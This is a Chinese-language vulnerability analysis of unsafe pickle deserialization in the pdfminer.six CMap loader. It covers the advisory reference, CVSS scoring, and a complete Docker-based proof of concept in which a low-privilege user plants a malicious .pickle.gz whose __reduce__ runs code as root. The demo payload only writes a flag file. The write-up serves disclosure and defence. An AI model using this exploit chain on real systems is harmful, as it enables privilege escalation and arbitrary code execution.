pdfminer.six CMap加载器中的不安全反序列化漏洞分析

漏洞概述

本报告展示了pdfminer.six中由于不安全使用Python pickle模块进行CMap文件加载而导致的真实权限提升漏洞。该漏洞表明在多用户或服务器环境中，低权限用户可通过利用不安全反序列化获得root访问权限（或提升至任何服务账户）。

背景介绍

pdfminer.six是一个流行的Python库，用于从PDF文件中提取文本和信息。它通过外部CMap文件支持CJK（中文、日文、韩文）字体，这些文件使用Python的pickle模块从磁盘加载。

安全问题：如果CMap搜索路径（CMAP_PATH或默认目录）包含全局可写或用户可写的目录，攻击者可以放置恶意的.pickle.gz文件，该文件将被pdfminer.six加载并反序列化，从而导致任意代码执行。

漏洞描述

受影响组件：pdfminer.six CMap加载（pdfminer/cmapdb.py）

问题：使用Python的pickle模块加载和反序列化.pickle.gz文件，这对于不受信任的数据是不安全的。

可利用性：如果低权限用户可以写入CMAP_PATH中的任何目录，他们可以以运行pdfminer的用户身份执行代码——可能是root或特权服务。

影响：作为服务用户的完整代码执行、从用户到root的权限提升、持久化以及潜在的横向移动。

演示场景

环境配置：

Alpine Linux（Docker容器）
两个用户：
- user1（攻击者：低权限）
- root（受害者：运行特权PDF处理脚本）
共享可写目录：/tmp/uploads
CMAP_PATH设置为/tmp/uploads用于特权脚本
系统范围内安装pdfminer.six

攻击流程：

user1在/tmp/uploads中创建恶意CMap文件（Evil.pickle.gz）
特权服务（root）处理PDF或调用get_cmap(“Evil”)
恶意pickle被反序列化，以root身份运行任意代码
漏洞利用在/root/pwnedByPdfminer中创建标志文件作为证明

技术细节

漏洞类型：使用Python pickle对不受信任数据进行不安全反序列化

攻击前提条件：攻击者可以写入CMAP_PATH中包含的目录

易受攻击的代码行：

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return type(str(name), (), pickle.loads(gzfile.read()))

位于pdfminer/cmapdb.py的_load_data方法中

漏洞利用链：

攻击者将恶意.pickle.gz文件放置在CMap搜索路径中
特权进程（如root）加载CMap，触发pickle反序列化
任意代码以进程（root/服务账户）权限执行

设置和使用

📁 文件

Dockerfile

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FROM python:3.11-alpine

# 安装所需软件包并创建用户
RUN adduser -D user1 && mkdir -p /tmp/uploads && chown user1:user1 /tmp/uploads

WORKDIR /app

# 安装pdfminer.six
RUN pip install --no-cache-dir pdfminer.six

# 复制应用文件
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

# 为演示设置权限
RUN chmod 777 /tmp/uploads

# 默认：进入shell以获取演示说明
CMD ["/bin/sh"]

evilmod.py

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import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

createEvilPickle.py

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import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

processPDF.py

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import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

构建和启动演示容器

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docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo

在容器中，并行打开两个shell（或在一个shell中切换用户）：

Shell 1（攻击者：user1）

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su user1
cd /app
python createEvilPickle.py
# 确认：/tmp/uploads/Evil.pickle.gz已创建并由user1拥有

Shell 2（受害者：root）

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cd /app
python processPdf.py
# 输出：如果易受攻击，将创建/root/pwnedByPdfminer

权限提升证明

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cat /root/pwnedByPdfminer
# 🏴 输出：ROOTED by pdfminer pickle RCE

分步演练

user1使用createEvilPickle.py制作恶意CMap pickle并放置在共享上传目录中
root用户运行典型的PDF处理脚本，该脚本从该目录加载CMap文件
漏洞利用触发，以root身份运行任意代码
攻击者现在拥有以root身份执行代码的证明（在真实攻击中，可以进一步升级）

安全标准和参考

OWASP Top 10：

A08:2021 - 软件和数据完整性故障
A03:2021 - 注入（通过类比，因为它是通过反序列化的代码注入）

MITRE ATT&CK技术：

T1055：进程注入
T1548：滥用提升控制机制

参考：

GHSA-f83h-ghpp-7wcc
pdfminer/pdfminer.six@b808ee0

漏洞严重性

严重等级：高

CVSS评分：7.8/10

CVSS v3基础指标：

攻击向量：本地
攻击复杂度：低
所需权限：低
用户交互：无
范围：未改变
机密性：高
完整性：高
可用性：高

弱点：

CWE-502：不可信数据的反序列化
CWE-915：动态确定对象属性的不当控制修改

pdfminer.six不安全反序列化漏洞分析：本地权限提升详解

本文详细分析了pdfminer.six库中CMap加载器的不安全反序列化漏洞，攻击者可通过恶意pickle文件实现本地权限提升，从低权限用户获取root权限，包含完整的技术细节和演示步骤。